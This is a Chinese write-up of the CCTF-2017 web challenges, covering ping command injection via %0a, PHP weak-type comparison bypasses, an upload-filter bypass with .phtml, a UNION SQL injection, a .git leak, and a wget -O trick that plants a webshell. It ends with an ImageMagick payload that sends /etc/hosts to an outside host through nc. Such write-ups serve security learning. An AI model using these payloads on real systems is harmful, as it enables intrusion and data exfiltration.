CCTF-2017-WEB部分Writeup




签到题

302跳转,burp抓包,直接页面获得flag
1



少年,你真的会ping吗?

一进去,通过对127.0.0.1进行ping测试下结果
2
发现是调用了ping命令并将内容回显到页面上,想到%0a换行来达到多个系统命令的执行,试了试
3
结果成功,这里有个小坑,cat被过滤掉了,使用head和more命令都可以获取文本内容,没有迭代过滤cat重复也可以绕过
4



WEB350

查看页面源代码,代码审计题目


    if(isset($_POST['login']))
     {
        if(isset($_POST['user']))
        {
            if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
            {
                die('user错误!');
            }
        }
        if (isset($_POST['name']) && isset($_POST['password']))
        {
            if ($_POST['name'] == $_POST['password'] )
            {
                die('账号密码不能一致!');
            }
            if (md5($_POST['name']) === md5($_POST['password']))
            {
                if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
                {
                        if($_POST['id']==72)
                            die("flag{xxxxxxxxxxxxx}");
                        else
                            die("ID错误2!");
                }
                else
                {
                    die("ID错误1!");
                }
            }
            else
                die('账号密码错误!');
        }
     }
这里有3个需要绕过的地方, if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户 这里需要用数组弱类型绕过 用户名密码MD5的相等,如果==可以考虑科学计数法,这里是===,也是数组绕过, 最后一点id,不能为数字72,又不能等于字符串’72’,不包含空白符,这里也是弱类型,floor类型72.00

5



少年,你真的会上传吗!!!

6
对文件后缀名和内容均做了限制,但是发现phtml后缀可以绕过,另外,文件内容包含<?就会被waf拦截,可以通过脚本形式绕过
7
访问上传的文件
8



Web500 vulhub

一血get!search.php,id点union注入,手注得flag
9



Web150

.git泄露,git-hack.py直接得txt,base64解码,搞定
10



Wget

打开是一个wget工具,根据页面注释,发现一个ADMIN.PHP
11
title 为LFITOOLS
12
一开始猜测是通过wget下载shell,然后通过LFI tools包含该shell
就尝试测试http://www.baidu.com 显示无权限写到该目录下,
13
想到wget有个-0参数可以指定下载路径,于是在我们自己的VPS上放一个shell的txt
-O /var/www/html/shellaegis.php http://你自己VPS的IP/aegis.txt
14
然后在shell里包含flag.php
15
show_source函数和highlight_file也可以。
LFI好像没怎么用上 = =,难道是提示用的吗。。。



Web550

一开始不是很懂出题人的套路,传其他文件不行,传图片500,没看出来是ImageMagick的洞。
后来放了第一个tips,是个phpinfo,当时看到cookie里有个2049,还以为是要ssrf之类的,当时一直都没有一血,快到最后出题人可能实在是受不了了。提示了个ImageMagick的图片,就去找了个payload,逐次把执行的回显打到自己的VPS上。
payload如下


push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|cat /etc/hosts|nc xxx.xxx.xxx.xxx 2233'
pop graphic-context

发现flag存放在flag_in_the_tmp.php里
16
GET flag。

总结:这次感觉主要还是考的思路,感谢工作室里手快的小伙伴们~~
突然发现有好多堆着的草稿坑没发,慢慢补全然后发出来吧...


发表评论 暂无评论

*